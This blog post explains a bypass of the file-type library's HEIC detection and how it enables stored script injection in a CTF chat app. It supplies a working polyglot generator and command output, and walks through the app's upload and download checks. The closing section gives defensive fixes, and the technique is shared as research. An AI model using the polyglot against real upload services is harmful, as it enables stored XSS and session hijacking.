The Usual Suspect: Type Confusion in Twelve Bytes

The Usual Suspect: Type Confusion in Twelve Bytes - HamidSj, Voorivex.

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Content

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All posts

> Want to work it out yourself before reading on? The challenge is live at **pwnbox.io/challenges/usual-suspect** , go solve it first, then come back for the breakdown.

A while back I wrote about libmagic inconsistencies that lead to type confusion , the idea that the program *guessing* a file's type and the program *consuming* it rarely agree, and that the gap between them is where bugs live.

This post is the same idea wearing different clothes. The suspect this time is `file-type` , the de-facto "what is this buffer?" library for Node, and the contraband is a file that is simultaneously a valid **HEIC image** and a valid **text payload of your choosing**: JavaScript, HTML, CSS, even JSON. The image half is fixed; the other half is whatever the consuming endpoint will execute or trust, in the challenge it ends up as a service worker, but that's just one door of several.

I found the primitive while building a challenge (`Usual Suspect`) around it. We'll build the polyglot, then watch a single upload pipeline disagree with itself about what it's holding.

Why a server trusts twelve bytes

ISO Base Media File Format (the container under MP4, MOV, HEIC, AVIF, ...) is a sequence of *boxes*. Every box begins with a 4-byte size, a 4-byte type, and then its payload:

[image: Anatomy of an ISO-BMFF ftyp box, a 4-byte size field (00 00 00 18), the 'ftyp' type, then the payload; only the type is checked, the size is ignored]

A well-formed HEIC starts with an `ftyp` box whose major brand (`heic`) sits at bytes 8-11. The size field at the very front, here `00 00 00 18`, is the part to remember: a real parser uses it, the sniffer throws it away.

Here is the entire detection routine from `file-type`'s `core.js` (16.5.4):

```
// File Type Box (ISO base media file format)
if (
  checkString('ftyp', {offset: 4}) &&
  (buffer[8] & 0x60) !== 0x00 // Brand major, first character ASCII?
) {
  const brandMajor = buffer.toString('binary', 8, 12).replace('\0', ' ').trim();
  switch (brandMajor) {
    case 'avif':            return {ext: 'avif', mime: 'image/avif'};
    case 'mif1':             return {ext: 'heic', mime: 'image/heif'};
    case 'heic': case 'heix': return {ext: 'heic', mime: 'image/heic'};
    // ...
  }
}
```

Read it closely and notice what is **not** there:

- It checks `ftyp` at offset **4**.
- It checks that byte **8** has bit `0x60` set, a cheap "is this roughly a printable ASCII letter" mask. `h` is `0x68`, and `0x68 & 0x60 == 0x60`, so `heic` sails through.
- It reads the brand from bytes **8-11**.
- It **does not read, validate, or even glance at bytes 0-3.** The box-size field is irrelevant to the sniff.

That last point is the whole vulnerability. In a real parser the size field tells you how long the box is; here it is dead weight. And dead weight in a header is exactly what a polyglot wants: four attacker-controlled bytes sitting *before* the magic, with no constraints on them at all.

[image: file-type's decision covers only the first 12 bytes of the file, everything after that point is attacker-controlled]

Turning the box size into a comment

JavaScript block comments open with `/*` and close with `*/`. If the first two bytes of the file are `/*`, then every byte after that, including `ftyp`, including the brand, including any binary garbage, is inside a comment until the parser sees `*/`. So the recipe is to overwrite the unused size field with `/*`, leave `ftyp` and the brand where the sniffer expects them, then close the comment and write code:

[image: Byte map of the polyglot, bytes 0-3 '/*--' *(the unchecked size field) open a JS comment, bytes 4-7 'ftyp' and 8-11 'heic' satisfy file-type's 12-byte check, then '*/' closes the comment and your JavaScript follows]

Laid out as text, the start of the file literally reads:

```
/*--ftypheic....heicmif1*/
globalThis.__pwned = 'it ran';
// ... rest of your script ...
```

- To `file-type`: `ftyp` is at offset 4, the brand is `heic` at offset 8 **`image/heic`**. It stopped reading at byte 12 and never noticed the `/*`.
- To a JavaScript engine: `/*--ftypheic....heicmif1*/` is a comment, and what follows is ordinary code.

The only rule for the bytes between offset 12 and the closing `*/` is "don't accidentally contain `*/`." Since `file-type` reads nothing past byte 11, we don't need a renderable image at all, we just need those twelve bytes correct and the comment cleanly closed.

And `/*` is only the JavaScript (and CSS) flavour. The four free bytes adapt to whatever grammar the consuming endpoint speaks: you just need *some* way to neutralize the twelve fixed bytes near the front, then append your real payload.

Target format	First bytes (0-3)	How `ftyp...heic` is hidden	Closes with
JavaScript / CSS	`/*` + filler	a block comment	`*/`
HTML	`<!--`	an HTML comment	`-->`
JSON	`"` + filler	a single string value	`"`

(JSON strings can't hold raw NUL bytes or unescaped quotes, so for that variant keep the brand's "minor version" bytes printable instead of `\x00`.) Same twelve image bytes, a different host language each time, and, as we'll see, the language the application *picks for you* is what decides which sink you land in.

Generator

```
#!/usr/bin/env python3
"""Generate a HEIC / JavaScript polyglot.

file-type (16.5.4) inspects only 12 bytes of an ISO-BMFF header:
  - bytes 4..7  must be the literal b"ftyp"
  - byte  8     must satisfy (b & 0x60) != 0  ("printable-ish")
  - bytes 8..11 are the brand major -> b"heic" maps to image/heic
The 4-byte box-size field (bytes 0..3) is NEVER validated, so we
overwrite it with b"/*" to open a JavaScript block comment.
"""

def make_polyglot(js: bytes, brand: bytes = b"heic") -> bytes:
    assert len(brand) == 4
    # bytes 0-3: "/*" + filler  -> opens the JS comment (the unused "box size")
    # bytes 4-7: ftyp          -> required by file-type at offset 4
    # bytes 8-11: brand        -> "heic" -> image/heic
    head = b"/*--" + b"ftyp" + brand + b"\x00\x00\x00\x00" + brand + b"mif1"
    assert b"*/" not in head           # don't close the comment early
    return head + b"*/\n" + js         # close comment, then real JavaScript

if __name__ == "__main__":
    js = b"globalThis.__pwned = 'it ran';\n"
    import sys
    sys.stdout.buffer.write(make_polyglot(js))
```

And the proof that both faces are real, one buffer, two truths:

```
$ python3 gen.py > poly.heic.js

$ node -e "require('file-type').fromBuffer(require('fs').readFileSync('poly.heic.js')).then(d=>console.log(d))"
{ ext: 'heic', mime: 'image/heic' }      # the server sees an image

$ node --check poly.heic.js && echo OK
OK                                       # the browser sees valid JS
```

The first 32 bytes, for the record:

```
b'/*--ftypheic\x00\x00\x00\x00heicmif1*/\ngloba'
```

Why this matters: the two-faced upload

A single detector being shallow is a curiosity. It becomes a vulnerability when an application makes **one decision based on the sniff and a different decision based on something else**, exactly the type-confusion pattern from the libmagic post.

The `Usual Suspect` challenge is a chat app with an attachment pipeline. Watch a file pass through three different "what type are you?" checkpoints and lie at each one.

[image: One upload, two identities, the same bytes read as image/heic to the server and as application/javascript to the browser]

1. The S3-style upload gate (presigned POST policy):

```
['starts-with', '$Content-Type', 'image/'],
```

The upload is rejected unless the client-declared `Content-Type` starts with `image/`. We just say `image/heic`. The bytes are never inspected , this gate trusts a *form field*.

2. The server-side "is it really an image?" check (`register.js`):

```
const detected = await FileType.fromBuffer(buf);
if (!detected || !detected.mime || !detected.mime.startsWith('image/')) {
  return res.status(415).json({ error: 'unsupported file' });
}
```

This one is meant to be the *honest* check, it ignores the client's claim and sniffs the actual bytes. And it does sniff them... all twelve of them. Our polyglot returns `image/heic`. Pass.

3. The download gate (`attachments.js`), and here is the punchline:

```
// public Content-Type comes from the URL's extension (the file's
// public face). Internal storage Content-Type is ignored.
res.setHeader('Content-Type', contentTypeFromName(filename));
```

When the file is served back out, the response `Content-Type` is derived **from the filename's extension**, not from the bytes and not from what was stored. The registration step builds the public name from the *user-supplied filename's* extension:

```
const ext = safeExt(filename);       // attacker controls this
const publicName = `${hash}.${ext}`;   // -> "<hash>.js"
```

So we register the attachment with a filename ending in `.js`. The same bytes that were "an image" at the gate are now served with:

```
HTTP/1.1 200 OK
Content-Type: application/javascript
```

Three checkpoints, three different notions of the file's type , the form field, the magic bytes, and the extension , and the file satisfies all of them while being, in reality, executable script. That is the type confusion. The polyglot is what lets one artifact answer all three questions at once.

We picked `.js` here, but that extension map also hands out `.html` , `.json` , `.css` , and `.svg` . Because the served `Content-Type` follows the extension we choose at registration time, the *exact same polyglot bytes* can be served as a script, a "trusted" JSON response, an HTML page, or a stylesheet , each one a different downstream sink. Which door you actually walk through is just a matter of which extension you register; in the `Usual Suspect` challenge it's `.js` plus a client-side path traversal that turns the upload into a service worker running in the admin's session. The mechanics of that last step are left as an exercise.

The image detector did its job perfectly. It just answered a question, "are these twelve bytes an image?" , that was never the question that mattered.

The pattern, restated

Both this and the libmagic write-up are instances of the same anti-pattern:

> A "type" is not a property of a file. It is an *opinion* held by a specific piece of code that looked at a specific slice of bytes. Two pieces of code, two slices, two opinions, and a polyglot is the file engineered to make every opinion come out "safe."

`file-type` is fast and convenient precisely because it reads as little as possible. For HEIC that's twelve bytes with a four-byte hole in front of them. If your security boundary is "this upload is an image," a passing sniff is necessary but nowhere near sufficient, re-encode the image, or at minimum make the *content type you serve* a function of the *bytes you verified*, not of a filename or a form field the attacker also controls.

A few practical notes

- **Other brands, other MIME types.** Swap the 4-byte brand and you get a different verdict from the *same* trick: `avif` `image/avif` , `mif1` `image/heif` , `qt` `video/quicktime` , `M4A` `audio/x-m4a` . The box-size hole is brand-agnostic; any ISO-BMFF type `file-type` recognizes is polyglot-able.
- **It's a 12-byte sniff, not a parser.** The rest of the file can be anything that doesn't break out of your chosen wrapper (no early `*/` , `-->` , or unescaped `"`). You do not need a decodable image.
- **Other host formats, other sinks.** `.js` here feeds a service worker, but the same buffer registered as `.html` , `.json` , `.css` , or `.svg` is served with that `Content-Type` , turning the one polyglot into stored XSS, a poisoned API response, style/markup injection, and so on. The image side is fixed by `file-type` ; the weaponized side is whatever the app will trust.
- **Detect once, serve the same thing.** The real defect is a consistency gap: the server sniffed the *bytes* at upload time but derived the served `Content-Type` from the *filename extension* at download time. Decide the type a single time, from the bytes, at upload, persist that value, and serve exactly it back. If detection says `image/heic` , the response must be `image/heic` (or the upload is rejected); the type you verified and the type you serve should never be allowed to drift apart, and neither should ever come from an attacker-controlled extension.

References

- Previous post, libmagic inconsistencies that lead to type confusion
- `file-type`, `core.js`, the `ftyp` box detection block
- ISO base media file format, box structure and the `ftyp` box
- Service Worker API, script execution model and scope